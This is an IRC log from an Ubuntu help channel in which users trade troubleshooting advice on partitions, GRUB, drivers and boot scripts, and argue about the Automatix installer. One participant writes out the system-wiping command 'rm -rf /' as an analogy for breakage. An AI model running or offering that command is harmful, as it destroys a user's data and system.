[01:19] <ubotu> conky: highly configurable system monitor for X based on torsmo. In component universe, is optional. Version 1.4.2-1 (edgy), package size 118 kB, installed size 376 kB
[01:19] <ardchoille> jexdawg: I have found that burning mp3's to a data dvd packs more of them on the disk than as an audio dvd.
[01:19] <peter77> is there a way to get ubuntu to turn the speakers off when I plug a pair of headphones in?
[01:19] <greig__> ant_ : ty anyway:)
[01:19] <Jon335> What is the dpkg-reconfigure command to reconfig X?
[01:19] <hossasaur> bahatpc: i'm sorry, that's not the way i installed from a usb stick, so i'm not sure how to help you
[01:19] <ardchoille> IndyGunFreak: May I pm you?
[01:19] <IndyGunFreak> ardchoille: if you have a spare hard drive of a reasonable size, that you aren't looking to upgrade,  these are awesome...   http://www.tigerdirect.com/applications/SearchTools/item-details.asp?EdpNo=31389&Sku=ULT31310
[01:19] <IndyGunFreak> ardchoille: sure.
[01:20] <bahatpc> hossasaur: thanks anyway
[01:20] <bruenig> Jon335, sudo dpkg-reconfigure xserver-xorg
[01:20] <_platinum_> This Tilda really is a piece of shit compared to Yakuake
[01:20] <jexdawg> indy, ard: thanks for the responses. i'll probably stop buying so much useless crap and then get an external harddrive.. it will make it nice to transfer between this comp and the new one i'm getting for college in about 6 months. plus i mess up my computer so much that it'll be nice to just be able to reformat whenever i want. also, ardchoille: yeah, thats what i do. data dvds, not audio dvds. i don't even know how to do audio dvds.
[01:20] <garfeildma> hello, everyone
[01:20] <Jon335> bruenig: thanks!
[01:20] <Pelo> evening folks,  I need someone who didn'T mess with any "FONTS" settings in ubuntu to give me the defaults back so I can start my messing from scratch
[01:20] <bruenig> _platinum_, tilda is a piece of shit in all contexts
[01:20] <garfeildma> can someone tell me something about google code summer
[01:20] <PriceChild> !ohmy
[01:20] <ubotu> Please watch your language and keep this channel family friendly.
[01:20] <greig__> can anyone not busy help/advise me on creating partions
[01:21] <ant__> !partitions | greig__
[01:21] <ubotu> greig__: Partitioning programs: !GParted or QTParted (also "man mkfs" for formatting) - Mounting partitions in Gnome under Dapper: System -> Administration -> Disks - For Edgy, see !fstab and !DiskMounter
[01:21] <Pelo> greig__,  use gparted, it is pretty self explanatory
[01:21] <greig__> thank you both
[01:21] <jexdawg> i thought yakuake was kde?
[01:21] <ant__> :P
[01:21] <lamumbo> ne1 to know how to get a wifi card working on a laptop newly loaded with ubuntu?
[01:22] <bruenig> !1337
[01:22] <ubotu> 1337 i5 nigh-inc0mpr3h3n5ib13 70 u5 n00bs, 4nd n0b0dy c4r35 if UR 4 1337 h4x0r. Giv3 i7 4 r357.
[01:22] <Pelo> lamumbo,  look up the card model and number in the forum,  you'll probably find a howto in there
[01:22] <bogie> could anyone help me with getting win back into grub i already tried but messed the mapping stuff up -.-
[01:22] <lamumbo> d-link dwl-g650
[01:22] <jexdawg> !ubotu
[01:22] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[01:22] <Pelo> bogie,  try in #grub
[01:23] <bogie> okidoki
[01:23] <ant__> !grub | bogie
[01:23] <ubotu> bogie: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[01:23] <orange1> FYI: New dell drivers are out for wifi
[01:23] <ant__> lol
[01:24] <Pelo> does anyone here still have their fonts setting at default ?
[01:24] <bogie> ant__, i installed win first the ubuntu while having my win(ide) harddrive disconnected...
[01:24] <bogie> -the+then
[01:24] <tunganet> How come i cannot update automatix?
[01:24] <lamumbo> thx, Pelo... I used to use mIRC and Pirch aver a decade ago but forgot how to do stuff.  So basically I have reverted to newby status
[01:24] <bruenig> !automatix | tunganet
[01:24] <ubotu> tunganet: automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[01:24] <Pelo> bogie, pm ?
[01:24] <r00tintheb0x> tunganet, what do you mean...
[01:24] <lamumbo> how do I get to the forum?
[01:24] <tunganet> omg..
[01:24] <r00tintheb0x> tunganet?
[01:25] <r00tintheb0x> mines up to date.
[01:25] <tunganet> how do i get rid of automatix?
[01:25] <bruenig> lamumbo, ubuntuforums.org
[01:25] <greig__> when installing gparted, does it show as gnome partion editor in system>administration??
[01:25] <tunganet> it sounds deadly
[01:25] <r00tintheb0x> woah woah...
[01:25] <r00tintheb0x> lol
[01:25] <bruenig> tunganet, I assume sudo apt-get remove automatix
[01:25] <tunganet> will it solve my problem =[
[01:25] <rbil> tunganet: it's not. just some people's opinions
[01:25] <bruenig> tunganet, solve your problem no, prevent you from having future problems yes
[01:25] <jexdawg> alright, more questions. i use mplayer (<3) but it doesn't work until i remove all xine and libxine packages. its annoying because everytime update manager runs, it tells me to install that. plus, removing xine removes the metapackage gnome-desktop which is vital for when i upgrade to feisty (and i'll forget that by the time feisty rolls around). why is this? why does xine suck so much, for me?
[01:25] <b00gz> f
[01:25] <tunganet> okay
[01:25] <tunganet> thanks
[01:26] <r00tintheb0x> tunganet, i dont see how bruenig thinks it'll break your system
[01:26] <mozul> anyone have a link to a howto for setting up ubuntu raid5 configuration via software raid?
[01:26] <bruenig> rbil, like my opinion the earth is round
[01:26] <r00tintheb0x> ive been running automatix for over 2 years
[01:26] <tunganet> r00tintheb0x: but the message is from ubuntu itself isnt it
[01:26] <ant__> !worksforme | r00tintheb0x
[01:26] <tunganet> !automatix
[01:26] <ubotu> r00tintheb0x: Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.
[01:26] <ubotu> automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[01:26] <rbil> bruenig: no more like your opinion that kde is better than gnome :-)
[01:27] <bruenig> r00tintheb0x, no, it is like my opinion that rm -rf / will destroy your system
[01:27] <jexdawg> bruenig: stop lying. the earth isn't round, just look at the horizon. does it look round to you? get your science and fancy talk out of here.
[01:27] <tunganet> bruenig: will i lose anything if i remove automatix now?
[01:27] <bruenig> tunganet, no
[01:27] <r00tintheb0x> tunganet, what makes you think because something is new it cant be stable.
[01:27] <r00tintheb0x> i agree SOME things arent stable when they're new... like 3 person projects...
[01:27] <rbil> bruenig: I'm not going to argue about YOUR opinion. I can only say that I've installed it on dozens of systems and know many more Ubuntu users that use it without probs
[01:27] <r00tintheb0x> but everything automatix offers has been around a WHILE
[01:27] <tunganet> r00tintheb0x: because my computer has been going insane since i can't get it updated :(
[01:27] <zero-9376> anyone here know how i can setup my logitech mx700 so that the scroll up button doesnt go back as well
[01:28] <r00tintheb0x> tunganet, what do you mean "since i cant get it updated?"
[01:28] <jexdawg> most people seem to be pretty anti-automatix. what about easyubuntu? any flaming on that?
[01:28] <bruenig> !worksforme | rbil
[01:28] <ubotu> rbil: Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.
[01:28] <hagabaka> hi, i used /etc/apt/preferences to select Wesnoth packages from a debian repository while keeping everything else from Ubuntu, but is there a better way to do that? http://pastebin.ca/407425
[01:28] <r00tintheb0x> i have automatix, and im still getting updates from ubuntu
[01:28] <shatrat> jexdawg, same thing more or less
[01:28] <bruenig> rbil, and swimming in sewage won't necessarily hurt you
[01:28] <jammy> can any one tell me were do i enable vsync for the graphics  i get chopy screensavers its anoying?
[01:28] <bruenig> r00tintheb0x, no he is referring to his initial question about why automatix isn't updating
[01:28] <r00tintheb0x> jammy, check out DRI on the ubuntu forums.
[01:28] <ant__> r00tintheb0x : would you also suggest using sudo for graphical applications?
[01:28] <jammy> thx sir
[01:29] <shatrat> jammy, depends on your graphics adapter.  you can do it in nvidia-settings with nvidia
[01:29] <rbil> bruenig: I'm well aware of the sentiments of some around here on this question and don't need it thrown back at me. Each to his own. I've never seen a problem is all I can say.
[01:29] <r00tintheb0x> oh, probably because he doesn't have the automatix repo on his sources.list
[01:29] <tunganet> r00tintheb0x: i dont know dude.. i've heard a lot of bad things about automatix
[01:29] <jammy> ATI x1900
[01:29] <r00tintheb0x> ant__, only if the program requires it.
[01:29] <ant__> lol
[01:29] <shatrat> r00tintheb0x, it was a trick question.
[01:29] <r00tintheb0x> tunganet, i know, but... ive heard a lot of bad things about ubuntu :P
[01:29] <tunganet> r00tintheb0x: :O
[01:29] <r00tintheb0x> i met a girl that works for ubuntu... and she even uses automatix.
[01:29] <r00tintheb0x> :)
[01:29] <jammy> i have x1900
[01:29] <r00tintheb0x> x1900 what jammy?
[01:30] <ant__> works for ubuntu?
[01:30] <shatrat> you mean works for canonical?
[01:30] <bruenig> r00tintheb0x, you don't honestly think I believe you met a girl who works for ubuntu
[01:30] <tunganet> r00tintheb0x: its fine.. i typed sudo apt-get remove automatix and it says automatix is not installed
[01:30] <r00tintheb0x> uuh, i dont care :)
[01:30] <bruenig> !worksforme | rbil
[01:30] <r00tintheb0x> :D take how you want to.
[01:30] <ubotu> rbil: Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.
[01:30] <tunganet> r00tintheb0x: yet it is still under application
[01:30] <r00tintheb0x> tunganet, "it is still under application"?
[01:30] <ant__> hes also saying he'd use sudo for graphical apps "when they require it"
[01:30] <rbil> bruenig: please stop. I've already told you I was aware of the sentiments of some on this question.
[01:30] <jammy> x1900 xt 512 version an i was wandering how to do vsync like you do in windows
[01:31] <tunganet> r00tintheb0x: applications->system tools-> automatix
[01:31] <tunganet> r00tintheb0x: even after i typed sudo apt-get remove automatix
[01:31] <bruenig> rbil, but you are setting up a false situation. You can analyze how it works and determine the problems. It is not some mysterious thing that you speculate on
[01:31] <GekiBlue> So... I just tried to install Ubuntu 6.10... and I got one of those nasty 'out of scan range' boxes right after the loading screen
[01:31] <r00tintheb0x> tunganet,
[01:31] <r00tintheb0x> "aptitude purge automatix2"
[01:31] <r00tintheb0x> then restart GDM
[01:31] <shatrat> jammy, ati is bad at what they do.  You can try the ati config utility, and there is probably a line you can add to your xorg.conf device section to enable it, try searching.  When I used ati though I couldnt even get it to do anti aliasing right
[01:31] <rbil> bruenig: but unlike you, I don't see a problem :-)
[01:31] <r00tintheb0x> /etc/init.d/gdm restart
[01:32] <bruenig> rbil, ok well look at the script then
[01:32] <dkbg> how do I keep apache from starting up automatically on login?
[01:32] <shatrat> GekiBlue, try using the safe graphics settings boot option
[01:32] <rbil> bruenig: which one? it uses envy to get the video drivers. that script?
[01:32] <bogie> nope didnt work Pelo
[01:32] <bruenig> rbil, it is a little harder now that they stopped using zenity and wen't to a legitimate gui, but it is still understandable
[01:32] <jrib> dkbg: system > administration > services
[01:33] <tunganet> r00tintheb0x: ok um, after i restart gdm
[01:33] <jammy> ATI is not bad there are solutions but i cant seem to find one and just wandering if some one found the solution on enabling the Vsync
[01:33] <tunganet> r00tintheb0x: i have another question to ask :)
[01:33] <PriceChild> !raid
[01:33] <ubotu> Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO
[01:33] <Pelo> bogie,  maybe the #grub ppl can do better,  or else just reinstall ubuntu , it will take care or it
[01:33] <r00tintheb0x> sure thing tunganet
[01:33] <Yggdrasil> darn, i updatet to fiesty and ... now when i close my laptop it crashes..
[01:33] <jrib> Yggdrasil: #ubuntu+1 for feisty help
[01:33] <rbil> bruenig: maybe you could convince me if you could actually show me what problems it creates?
[01:33] <bogie> however thanks for your help this far :)
[01:33] <dkbg> jrib: apache doesn't appear to be there
[01:34] <rpc> is there such thing as peerguardian for ubuntu? or similar
[01:34] <shatrat> jammy, Ive used linux with ati, nvidia, and intel, and of them all ati is by far the worst.  I'm sure there is an xorg.conf device option that will turn on vsync, but whether or not it actually works is another thing
[01:34] <jexdawg> yggdrasil, i realize i'm being a nazi, but... feisty. not fiesty.  /anal
[01:34] <clem_> rpc: is it a firewall ?
[01:34] <rpc> clem_ it's a long list of bad ips
[01:34] <ant__> shatrat : i totally agree
[01:34] <r00tintheb0x> dkbg, you can either use BUM
[01:34] <clem_> rpc: oh ok
[01:34] <r00tintheb0x> B.U.M.
[01:34] <Yggdrasil> jexdawg huh
[01:34] <r00tintheb0x> or you can take it out of /etc/rc*.d
[01:34] <Yggdrasil> thats what i said fiesty
[01:34] <bruenig> rbil, it assumes yes on everything and doesn't allow you to view conflicts. Such things can break systems. It hides all errors, not allowing you to see what is going on. So let's say I try to install something that is conflicting with something else, instead of informing me of this conflict and letting me decide whether to do it, it assumes yes. So I am sure you are familiar of times when aptitude will give you four or five options on how to go about doing som
[01:34] <bruenig> ething. Well automatix picks the first one and you are stuck with it, system breakage or not.
[01:35] <r00tintheb0x> rc3 or 5, i dont know what one.
[01:35] <jexdawg> the spelling... e before the i, yggdrasil
[01:35] <Yggdrasil> yar
[01:35] <Yggdrasil> fiesty
[01:35] <kalila> how to enable ubuntu bleeding edge packages?
[01:35] <kalila> testing repo or something
[01:35] <dkbg> r00tintheb0x: sounds good, I'll try the latter
[01:35] <rpc> clem_ so kind of firewall or more like filtering wall :)
[01:35] <clem_> :)
[01:35] <r00tintheb0x> bruenig, just dont use anything but ubuntu mirrors till you get the hang of fixing a broken system.
[01:35] <r00tintheb0x> sure thing dkbg  :)
[01:35] <ardchoille> bruenig: Indeed
[01:35] <r00tintheb0x> by the way dkbg its called "boot up manager"
[01:35] <jrib> Yggdrasil: the 'i' comes after the 'e' in "feisty"
[01:35] <jammy> im fully aware that ati had bad drivers at this moment and time,  im sure thay will be working on it some time
[01:35] <r00tintheb0x> its available through APT
[01:35] <dkbg> r00tintheb0x: yeah, I've heard of it
[01:35] <r00tintheb0x> ok :)
[01:36] <r00tintheb0x> dkbg, i'd prefer removing the script out of /etc/rc*.d
[01:36] <r00tintheb0x> that'd be the "clean" way of doing it.
[01:36] <r00tintheb0x> :)
[01:36] <dkbg> r00tintheb0x: hmm, /etc/rc*.d doesn't seem to exist
[01:36] <jammy> but i dont want to buy an nvidia to just work ubuntu it defeats the object
[01:36] <dkbg> r00tintheb0x: agreed :)
[01:36] <rbil> bruenig: no, never came across that with any package i've tried to install.
[01:36] <Alonea> Ok, gonna try one more time to fix this before reformatting system. Adept uninstalled my fglrx and now I can't get it to reinstally my video card. http://paste.ubuntu-nl.org/11592/  Even Envy gets same error. and I DO have all those packages.
[01:36] <bruenig> r00tintheb0x, till I get the hang of fixing a broken system? or just don't break the system. Or if I do, know what I am doing when I do it so I can undo it.
[01:36] <r00tintheb0x> :D
[01:36] <dkbg> r00tintheb0x: that's why I went with it
[01:36] <bruenig> rbil, exactly worksforme
[01:36] <jammy> it like trying to run away from a problem and not fixing it
[01:36] <jrib> dkbg: it's "Web server"
[01:36] <tunganet> r00tintheb0x: you th ere mate?
[01:36] <r00tintheb0x> dkbg, it'll either be /etc/rc2.d /etc/rc3.d /etc/rc4.d
[01:36] <r00tintheb0x> somewhere in there
[01:36] <r00tintheb0x> yes tunganet whats up
[01:37] <dkbg> r00tintheb0x: baye, okay
[01:37] <dkbg> -b
[01:37] <tunganet> r00tintheb0x: a while ago, i had this error upon startup, something like "error: icon cannot be loaded"
[01:37] <r00tintheb0x> dkbg, "find /etc -name "*apache*" |more
[01:37] <rbil> bruenig: yep, and every other system I'm familiar with :-)
[01:37] <r00tintheb0x> okay tunganet no problem.
[01:37] <tunganet> r00tintheb0x: now that when i move my shortcuts with icons around my panel, the icons will be gone and it will be an icon with a cross
[01:37] <bruenig> rbil, but what I am telling you is that it is fundamentally flawed
[01:37] <jammy> so does anyone have any info about  vsync on a x1900 xt 512?
[01:38] <r00tintheb0x> tunganet, around your panel you mean.. the Gnome desktop?
[01:38] <slvmchn> i installed xubuntu on a machine recently, and there was an option to add a command line terminal to the top panel (like had a terminal bar within the panel) so i could type commands in right there... any idea how to set this up on ubuntu?
[01:38] <r00tintheb0x> or the panel up top.
[01:38] <tunganet> r00tintheb0x: panel up top
[01:38] <bruenig> rbil, that you didn't suffer that flaw is good for you, but it doesn't mean you should advocate its use especially when there is an alternative
[01:38] <shatrat> jammy, the option youre looking for is called "sync to vblank" I believe, still looking for the exact entry
[01:38] <rbil> bruenig: I believe you! "doesn'tworkforyou". End of discussion.
[01:38] <r00tintheb0x> by the "System" meny tunganet ?
[01:38] <bruenig> rbil, ok I accept your concession
[01:38] <ardchoille> lol
[01:38] <jexdawg> haha
[01:38] <tunganet> r00tintheb0x: yes sir
[01:38] <r00tintheb0x> does the firefox icon loose its icon when you love it tunganet ?
[01:38] <r00tintheb0x> or only certain ones.
[01:38] <BeepAU> i just tried installing something and it told me 'No packages found matching ...', but the package is there, what have I done wrong?
[01:38] <tunganet> r00tintheb0x: when i love it lol
[01:39] <r00tintheb0x> move*
[01:39] <r00tintheb0x> hehe
[01:39] <tunganet> r00tintheb0x: only certain ones
[01:39] <r00tintheb0x> okay, that... is strange.
[01:39] <r00tintheb0x> are you draggin them from menus to put up there and such?
[01:39] <clem_> BeepAU: what package?
[01:39] <tunganet> r00tintheb0x: no i am moving it from panel spot a to spot b
[01:39] <BeepAU> it's to instal oss (open sound system)
[01:39] <tunganet> r00tintheb0x: then when i move it from spot b to spot a, it loses its icon
[01:39] <r00tintheb0x> what if you move it from spot b to the desktop
[01:40] <os1ris> can anyone help me with a ubuntu server issue.. i am trying to install a wireless card. but dont see it when i do a lspci anyone help?
[01:40] <dkbg> jrib: I figured it might be web server, but its not there
[01:40] <tunganet> r00tintheb0x: by spot a/b , i am referring to the panel
[01:40] <dkbg> r00tintheb0x: hehe, woops I was assuming rc*.d was a file
[01:40] <AngryElf> I followed http://www.howtoforge.com/perfect_setup_ubuntu_6.10 to set up a DNS server on a server with a working DHCP config -- for some reason I can't ping hostnames though...any thoughts as to why?
[01:40] <r00tintheb0x> dkbg, rc2.d is a directory
[01:40] <jrib> dkbg: oh ok, it shows up here on feisty so i assumed it would work.  'man update-rc.d' will tell you how do it manually, or use sysv-rc-conf
[01:40] <r00tintheb0x> tung i understand.
[01:41] <dkbg> r00tintheb0x: I have several apache files in rc[0-9] .d
[01:41] <BeepAU> clem_ - do you know what i'm doing wrong?
[01:41] <r00tintheb0x> but, if you move it from spot A on the panel to the desktop, does it loose its pic?
[01:41] <r00tintheb0x> dkbg, let me log into my server... i'll check it out
[01:41] <tunganet> r00tintheb0x: nope
[01:41] <r00tintheb0x> hold on
[01:41] <dkbg> r00tintheb0x: rc[0-6] .d sorry
[01:41] <os1ris> anyone good with device handling in ubuntu server?
[01:41] <clem_> BeepAU: you've got the wrong name.. there's no "oss" package
[01:41] <clem_> BeepAU: there's "alsa-oss"
[01:42] <clem_> os1ris: is it a USB or PCI or PCMCIA wireless adapter?
[01:42] <bengold> oh yay I found an external hard drive, so I don't have to bother messing anything up, thanks for you help!
[01:42] <os1ris> im using a pci device
[01:42] <BeepAU> clem_ - i'm following this - http://www.4front-tech.com/test/oss-install.pdf
[01:42] <clem_> os1ris: lsusb doesn't see it ?
[01:42] <os1ris> nah is not usb pci
[01:42] <jammy> sync to vblank? that has something to do with Vsync
[01:42] <os1ris> its pci i mean
[01:42] <BeepAU> clem_ - alsa doesn't support my sound card, so i'm trying oss
[01:43] <clem_> os1ris: sorry, I meant lspci...
[01:43] <Sivik> from command line, how do i add a new network card thats onboard but i can't seem to find it anywhere in lspci nor dmesg when my box starts
[01:43] <r00tintheb0x> i believe dkbg ...
[01:43] <os1ris> clem i pmed u ....
[01:43] <clem_> BeepAU: I don't know anything about oss, but you can search for packages names by doing "sudo aptitude search oss"
[01:43] <os1ris> scrolling kinda fast in here.
[01:44] <tunganet> r00tintheb0x: :(
[01:44] <os1ris> i did a lspci ...  and i dont think i show it ....
[01:44] <ant__> BeepAU : goto the openoss webpage and they have a list of supported cards i think.
[01:44] <r00tintheb0x> tunganet, private message me.
[01:44] <r00tintheb0x>  /msg r00tintheb0x
[01:44] <r00tintheb0x> like that.
[01:44] <dkbg> r00tintheb0x: this is turning out to be more complex than I anticipated :P
[01:44] <os1ris> i dont know if the pci or card is bad. does that command show anything connected even if its not supported/used?
[01:44] <r00tintheb0x> dkbg, im still checking
[01:44] <ctkroeker> What cms does http://planet.ubuntu.com/ use?
[01:44] <r00tintheb0x> dkbg, its a good learning curve ;)
[01:44] <BeepAU> clem_ -- it's not from the repositories, i already have the file downloaded
[01:44] <clem_> os1ris: it should say "Network Controller"
[01:44] <dkbg> r00tintheb0x: its not even necessary really, I could just uninstall apache, but I guess I could use the learning :)
[01:45] <clem_> BeepAU: you have a deb file ?
[01:45] <os1ris> nah i see the other pci network controler i have in there
[01:45] <os1ris> this is a wireless card belkin
[01:45] <Sivik> clem: so it should say something about network controller in dmesg or lspci
[01:45] <skel> for beta testing can I just change edgy to fiesty in the sources.list and do the typical dist-upgrade after running the update? or is there a different tag like fiesty-beta ?
[01:45] <PriceChild> ctkroeker, I'm reasonably sure its homebrew
[01:45] <BeepAU> clem_ - yes
[01:45] <os1ris> trying to get ndis wrapper but i wont be able to see it if i dont have the corre pci id
[01:45] <PriceChild> !upgrade | skel
[01:45] <ubotu> skel: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[01:45] <os1ris> if im not mistaken
[01:45] <clem_> Sivik: yep
[01:45] <PriceChild> skel, remember feisty is beta
[01:45] <clem_> BeepAU: sudo dpkg -i thedebfile
[01:46] <jexdawg> does anyone know if Envy is fairly stable and adept at installing ATI drivers? last time i used it (month and a half ago maybe?) it broke my x-server, but i need to install ATI drivers to get beryl working properly. (also, beryl is dead, so i'm asking here).
[01:46] <skel> PriceChild: noted :) I have everything backed up. ty for the link =] 
[01:46] <therage> hey guys i'm a newb with problems installing.
[01:46] <Sivik> jexdawg: go to ubuntu+1 for envy questions
[01:46] <bruenig> therage, those would be...
[01:46] <BeepAU> clem_ - thankyou, i thought it was an L
[01:46] <jexdawg> sivik, ty
[01:46] <ctkroeker> https://wiki.ubuntu.com/PlanetUbuntu doesn't give any additional info
[01:46] <os1ris> beryl is the shit
[01:46] <os1ris> heh
[01:46] <PriceChild> !ohmy
[01:46] <ubotu> Please watch your language and keep this channel family friendly.
[01:46] <jexdawg> os1ris, when it works it is
[01:46] <os1ris> whoops..
[01:46] <ant__> envy works for edgy doesnt it?
[01:46] <clem_> jexdawg: 0.8.1 is stable enough... 0.9.1 has a GUI :)
[01:46] <os1ris> na i run it with nvidia
[01:47] <jexdawg> GUI? WHAT?
[01:47] <os1ris> with algix ot whatever
[01:47] <os1ris> i have had no problems
[01:47] <clem_> jexdawg: Graphical User Interface
[01:47] <os1ris> but now i cant get my ubuntu server to work
[01:47] <clem_> oh ok :)
[01:47] <os1ris> with my wireless
[01:47] <skel> they have a gui for linux now?!!?!
[01:47] <skel> :-P
[01:47] <jexdawg> clem_, i know. i was expressing exuberance, not ignorance. haha.
[01:47] <therage> i get to the initial boot cd menu fine.  i select start ubuntu/install.  from that point the load screen graphics go black and white and once it gets into the GUI with my mouse on the screen it stops
[01:47] <os1ris> lol
[01:47] <clem_> no pb
[01:47] <jexdawg> wait wait, linux has gui? you mean i don't have to do everything by command line? BLASPHEMY
[01:48] <os1ris> os lspci will show all used pci buses right even if the card is not used right?
[01:48] <r00tintheb0x> dkbg, i'd just move it
[01:48] <clem_> you can get envy from alberto milone's website, he has a repo as well.
[01:48] <r00tintheb0x> to somewhere like /home/yourusername/startupscriptbackiup
[01:48] <r00tintheb0x> move them all out of rc*.d
[01:48] <octoberdan> Installed kernel 2.6.17 from Ubunutu. "kernel panic-not syncing VFS:unable to mount root fs on ..." from my menu.lst: http://pastebin.ca/407445 . 3.6.8 boots fine. I'm running regular ol' ata hard drives, nothing unusual/special about my hardware setup
[01:48] <greig_> Hi, ive used Gparted to format  a partion to ext3, how do i now make this/mount as a visable drive?? thanks in advance
[01:48] <therage> plays the pretty little sound, then it looks like it starts to draw a menu box, but everything stops tere
[01:48] <dkbg> r00tintheb0x: okay, I'll do a bit more sleuthing
[01:48] <clem_> os1ris: let's put it that way, if it's not in dmesg and lspci it doesn't look good :)
[01:49] <octoberdan> roots are the same, although I've never seen "root=UUID=..." before
[01:49] <msbhvn> anyone know how to make yaboot go into single user mode?
[01:49] <msbhvn> is yaboot the default for ppc ubuntu?
[01:49] <os1ris> whats dmesg?
[01:49] <therage> anyone anyone?
[01:49] <r00tintheb0x> dmesg is your system boot log os1ris
[01:49] <msbhvn> os1ris: kernel ring buffer
[01:49] <os1ris> ahh ok.. well i really hope i dont need to get another card
[01:49] <Angelus> hi guys! was wondering if there is a program out there to convert dvd movies to WMV files to transfer onto an IPAQ???
[01:49] <os1ris> booooo
[01:49] <msbhvn> os1ris: tells you some systems messages and hardware stuff
[01:49] <octoberdan> Tried to generate a completely new menu.lst with update-grub (mv menu.lst menu.list.bk && update-grub), but no luck there either
[01:49] <os1ris> well i gota go ill be on later otnight to work on this
[01:49] <bruenig> !alternate | therage you might try this
[01:49] <ubotu> therage you might try this: The Alternate CD (available as of Dapper) is the classical text-mode installation CD. Use it if you wish to upgrade via CD, or for an "expert" mode install. For normal installs, use the Desktop CD, which is also a "Live" CD.
[01:49] <greig_> !partion
[01:49] <os1ris> later everyone
[01:49] <ubotu> Sorry, I don't know anything about partion - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[01:50] <os1ris> !partition
[01:50] <ubotu> Partitioning programs: !GParted or QTParted (also "man mkfs" for formatting) - Mounting partitions in Gnome under Dapper: System -> Administration -> Disks - For Edgy, see !fstab and !DiskMounter
[01:50] <os1ris> i i think it what u ment
[01:50] <os1ris> hehe
[01:50] <xptical> I have a FTP question...how do I create an ftp user that can upload and download to /var/www/site.  right now, I have proftpd and when I ftp with username/password, I end up in the user's home directory
[01:50] <therage> ubotu:  i am using the desktop live cd
[01:50] <greig_> oslris : thanks:)
[01:50] <bruenig> therage, he is saying that you could get the alternate cd and see if that works for you
[01:50] <therage> yeah, ok.
[01:51] <ardchoille> !ubotu | therage
[01:51] <ubotu> therage: I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[01:51] <dkbg> r00tintheb0x: okay I looked here https://help.ubuntu.com/community/UbuntuBootupHowto and I think I'll just rename the scripts
[01:51] <r00tintheb0x> dkbg, i just tried it on my system
[01:51] <r00tintheb0x> remove them all dkbg ...
[01:51] <r00tintheb0x> you can just move them to your home folder in case you want for it to autostart @ boot again
[01:51] <r00tintheb0x> or alternativly...
[01:51] <Angelus> can anyone help with my question?
[01:51] <Bright-Light> Hi
[01:52] <skel> weeeee and I've started the upgrade process
[01:52] <r00tintheb0x> you can "ln -s /etc/init.d/apache2 /etc/rc3.d/
[01:52] <bruenig> !anyone | Angelus
[01:52] <ubotu> Angelus: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[01:52] <dkbg> r00tintheb0x: if I remove them, if I want them back I'd have to figure out their names again
[01:53] <Angelus> I've already asked the question no one answered, I'll ask again...Does anyone have any idea about a program that converts DVD movies to WMV for an IPAQ?
[01:53] <r00tintheb0x> no, they're all the same dkbg
[01:53] <ardchoille> dkbg: You could always create a directory somewhere else to put unused items in, that way it'd be easy to put them back if you need them later.
[01:54] <r00tintheb0x> dkbg, i removed it with webmin just to test... and it removed all four of them.
[01:55] <dkbg> webmin?
[01:55] <ardchoille> !webmin
[01:55] <ubotu> webmin is no longer supported in Debian and Ubuntu. Please avoid using it.
[01:55] <dylock> on edgy anyone have a problem with multiple nautilus' showin up upon execution?
[01:56] <dkbg> dylock: do you have a session saved with multiple nautilus windows?
[01:56] <r00tintheb0x> lol
[01:56] <psyber> hey guys
[01:56] <greig_> can anyone help me please, i have a unused partition on my disc and want to use it as an additional drive, formated it to ext3 at /dev/hda3. But how do i actually mount? this and make it usable
[01:56] <bruenig> !howdy | psyber
[01:56] <ubotu> psyber: Hi! Welcome to #ubuntu!
[01:56] <dylock> no i dont dkbg
[01:56] <r00tintheb0x> Man, there's a LOT of stuff not supported by ubuntu... doesn't mean it doesn't work.
[01:56] <ant__> r00tbox uses all the unsupported progs
[01:56] <r00tintheb0x> I didnt reccomend him do it.
[01:56] <r00tintheb0x> i reccomended him remove the /etc/rc*.d scripts
[01:56] <bengold> ok
[01:56] <brianves> I've got a problem with my audio balance,  my right channel is twice as loud as my left.  Anyone know anything to remedy this?
[01:56] <r00tintheb0x> ant__, i use what i like... and hack it when i need to :)
[01:56] <bruenig> greig_, well if you are going to format it, format it as ext3 in gparted, after you do that, then you can set up a line in fstab to have it mount
[01:57] <dkbg> r00tintheb0x: yeah, I'll just move em', they're just symlinks
[01:57] <crdlb> brianves, run: alsamixer in a terminal
[01:57] <blanky> questions questions questions?
[01:57] <ardchoille> greig_: Make a mount point, maybe /mnt/hda3 and then to mount: sudo mount /dev/hda3 /mnt/hda3
[01:57] <ant__> r00tintheb0x : i can tell by your nick...
[01:57] <psyber> does anyone know how to update to the fiesty beta w/out installing from a cd?
[01:57] <dylock> greig_: look up the mount man page
[01:57] <r00tintheb0x> yeah, symlinks to /etc/init.d/apache2 right?
[01:57] <r00tintheb0x> dkbg, ?
[01:57] <brianves> crdlb  ok,  then what
[01:57] <r00tintheb0x> ant__, im a UNIX admin for a software company.
[01:57] <r00tintheb0x> I do this ALL day long.
[01:57] <blanky> sucks
[01:57] <crdlb> brianves, look if the levels are lopsided
[01:57] <ant__> r00tintheb0x : you are truly leeto
[01:57] <r00tintheb0x> i have over 20 Solaris machines, Ubuntu is like leggos compared ot Solaris.
